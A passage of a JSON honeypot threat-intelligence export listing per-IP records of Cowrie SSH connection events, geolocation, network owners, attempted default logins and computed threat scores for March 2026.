        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:53:48.537000+00:00",
        "last_seen_30d": "2026-03-09T23:07:35.715000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "45.156.129.65": {
      "attack_count": 8,
      "first_seen": "2026-03-14T21:02:42.635Z",
      "last_seen": "2026-03-14T21:03:05.754Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 91.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 30,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:12:21.683000+00:00",
        "last_seen_30d": "2026-03-31T02:34:04.234000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 35,
        "Cowrie": 8,
        "H0neytr4p": 2,
        "Heralding": 1
      }
    },
    "112.123.107.48": {
      "attack_count": 7,
      "first_seen": "2026-03-31T04:00:18.997Z",
      "last_seen": "2026-03-31T04:00:21.568Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T04:00:18.997000+00:00",
        "last_seen_30d": "2026-03-31T04:10:21.754000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "20.46.246.132": {
      "attack_count": 7,
      "first_seen": "2026-03-05T23:25:48.343Z",
      "last_seen": "2026-03-05T23:25:58.343Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 21.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 26,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T02:09:00.273000+00:00",
        "last_seen_30d": "2026-03-28T08:05:40.555000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "188.127.250.20": {
      "attack_count": 6,
      "first_seen": "2026-03-07T20:22:20.667Z",
      "last_seen": "2026-03-14T05:51:22.640Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 56694,
      "as_org": "LLC Smart Ape",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T20:22:20.667000+00:00",
        "last_seen_30d": "2026-03-14T06:01:32.381000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "47.104.198.108": {
      "attack_count": 6,
      "first_seen": "2026-03-12T00:51:33.258Z",
      "last_seen": "2026-03-19T03:27:42.893Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:51:33.258000+00:00",
        "last_seen_30d": "2026-03-19T03:28:46.687000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "47.79.150.4": {
      "attack_count": 6,
      "first_seen": "2026-03-27T06:00:30.692Z",
      "last_seen": "2026-03-30T10:43:21.296Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T06:00:30.692000+00:00",
        "last_seen_30d": "2026-03-30T10:44:26.151000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "47.87.136.14": {
      "attack_count": 6,
      "first_seen": "2026-03-27T14:32:17.834Z",
      "last_seen": "2026-03-29T22:57:56.318Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T14:32:17.834000+00:00",
        "last_seen_30d": "2026-03-29T22:59:06.717000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "47.87.70.243": {
      "attack_count": 6,
      "first_seen": "2026-03-23T23:46:07.623Z",
      "last_seen": "2026-03-25T23:07:44.980Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:26:27.758000+00:00",
        "last_seen_30d": "2026-03-25T23:08:54.353000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 6
      }
    },
    "66.132.153.114": {
      "attack_count": 6,
      "first_seen": "2026-03-17T17:32:20.782Z",
      "last_seen": "2026-03-17T17:32:55.351Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.9,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 20,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T08:09:29+00:00",
        "last_seen_30d": "2026-03-21T18:26:36.755000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 14,
        "ElasticPot": 9,
        "Cowrie": 6,
        "Dionaea": 2,
        "Mailoney": 1
      }
    },
    "103.176.16.181": {
      "attack_count": 4,
      "first_seen": "2026-03-21T12:09:22.947Z",
      "last_seen": "2026-03-21T12:09:48.434Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 135687,
      "as_org": "Qwistel Network Service Private Limited",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T12:09:22.947000+00:00",
        "last_seen_30d": "2026-03-21T12:10:54.814000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "115.41.97.141": {
      "attack_count": 4,
      "first_seen": "2026-03-07T13:31:19.824Z",
      "last_seen": "2026-03-13T07:20:10.769Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yangsan",
      "asn": 10066,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T13:31:19.824000+00:00",
        "last_seen_30d": "2026-03-13T07:21:16.269000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "128.127.15.101": {
      "attack_count": 4,
      "first_seen": "2026-03-08T00:23:12.965Z",
      "last_seen": "2026-03-13T12:03:57.228Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Wroclaw",
      "asn": 29596,
      "as_org": "PSSK Sp. z o.o.",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T00:23:12.965000+00:00",
        "last_seen_30d": "2026-03-13T12:05:05.187000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "147.185.132.249": {
      "attack_count": 4,
      "first_seen": "2026-03-02T10:39:24.395Z",
      "last_seen": "2026-03-02T10:39:27.566Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T10:36:25.826000+00:00",
        "last_seen_30d": "2026-03-31T21:14:42.325000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 32,
        "Mailoney": 5,
        "Cowrie": 4,
        "Dionaea": 1,
        "Sentrypeer": 1,
        "Wordpot": 1
      }
    },
    "195.184.76.35": {
      "attack_count": 4,
      "first_seen": "2026-03-25T09:38:16.094Z",
      "last_seen": "2026-03-25T09:38:19.744Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T11:12:05+00:00",
        "last_seen_30d": "2026-03-31T22:09:51.212000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 41,
        "Cowrie": 4
      }
    },
    "20.119.72.191": {
      "attack_count": 4,
      "first_seen": "2026-03-16T00:22:38.618Z",
      "last_seen": "2026-03-16T00:22:49.205Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 44.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T21:26:37.459000+00:00",
        "last_seen_30d": "2026-03-28T09:18:49.421000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "205.210.31.57": {
      "attack_count": 4,
      "first_seen": "2026-03-07T10:34:45.989Z",
      "last_seen": "2026-03-07T10:34:49.235Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-03T18:44:55+00:00",
        "last_seen_30d": "2026-03-31T16:34:12.408000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 27,
        "ConPot": 18,
        "Adbhoney": 4,
        "Cowrie": 4,
        "Dionaea": 2,
        "H0neytr4p": 1
      }
    },
    "47.254.129.192": {
      "attack_count": 4,
      "first_seen": "2026-03-11T07:04:24.770Z",
      "last_seen": "2026-03-27T01:24:22.167Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T07:04:24.770000+00:00",
        "last_seen_30d": "2026-03-27T01:25:24.302000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "64.62.197.147": {
      "attack_count": 4,
      "first_seen": "2026-03-23T14:48:33.510Z",
      "last_seen": "2026-03-23T14:48:37.510Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.8,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 25,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T12:49:36.280000+00:00",
        "last_seen_30d": "2026-03-29T14:14:00.491000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "104.152.52.140": {
      "attack_count": 3,
      "first_seen": "2026-03-05T04:41:26.308Z",
      "last_seen": "2026-03-05T04:41:26.309Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 19.2,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 23,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T04:41:26.308000+00:00",
        "last_seen_30d": "2026-03-27T06:39:08.105000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 3,
        "Dionaea": 2,
        "Honeytrap": 2
      }
    },
    "125.77.172.80": {
      "attack_count": 3,
      "first_seen": "2026-03-23T17:41:23.533Z",
      "last_seen": "2026-03-23T17:43:23.556Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133776,
      "as_org": "Quanzhou",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T17:41:23.533000+00:00",
        "last_seen_30d": "2026-03-23T17:54:03.771000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "101.71.37.49": {
      "attack_count": 2,
      "first_seen": "2026-03-06T11:13:10.584Z",
      "last_seen": "2026-03-06T11:13:23.716Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T11:13:10.584000+00:00",
        "last_seen_30d": "2026-03-06T11:14:31.875000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.213.112.45": {
      "attack_count": 2,
      "first_seen": "2026-03-24T00:15:59.117Z",
      "last_seen": "2026-03-24T00:16:11.515Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T00:15:59.117000+00:00",
        "last_seen_30d": "2026-03-24T00:17:16.931000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.86.135.2": {
      "attack_count": 2,
      "first_seen": "2026-03-24T09:26:01.032Z",
      "last_seen": "2026-03-24T09:26:14.171Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 135003,
      "as_org": "Multan Cable & Internet Services Pvt Ltd",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T09:26:01.032000+00:00",
        "last_seen_30d": "2026-03-24T09:27:21.959000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.79.194.180": {
      "attack_count": 2,
      "first_seen": "2026-03-28T23:14:42.350Z",
      "last_seen": "2026-03-28T23:14:54.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T23:14:42.350000+00:00",
        "last_seen_30d": "2026-03-28T23:15:59.793000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.176.55.42": {
      "attack_count": 2,
      "first_seen": "2026-03-28T09:24:50.856Z",
      "last_seen": "2026-03-28T09:24:51.177Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T09:24:50.856000+00:00",
        "last_seen_30d": "2026-03-28T09:26:28.272000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "117.255.208.132": {
      "attack_count": 2,
      "first_seen": "2026-03-21T20:22:24.357Z",
      "last_seen": "2026-03-21T20:22:37.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T20:22:24.357000+00:00",
        "last_seen_30d": "2026-03-21T20:23:41.276000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.199.121.178": {
      "attack_count": 2,
      "first_seen": "2026-03-20T02:13:06.113Z",
      "last_seen": "2026-03-20T02:13:19.742Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 9981,
      "as_org": "Saero Network Service LTD",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T02:13:06.113000+00:00",
        "last_seen_30d": "2026-03-20T02:14:27.697000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.136.7.172": {
      "attack_count": 2,
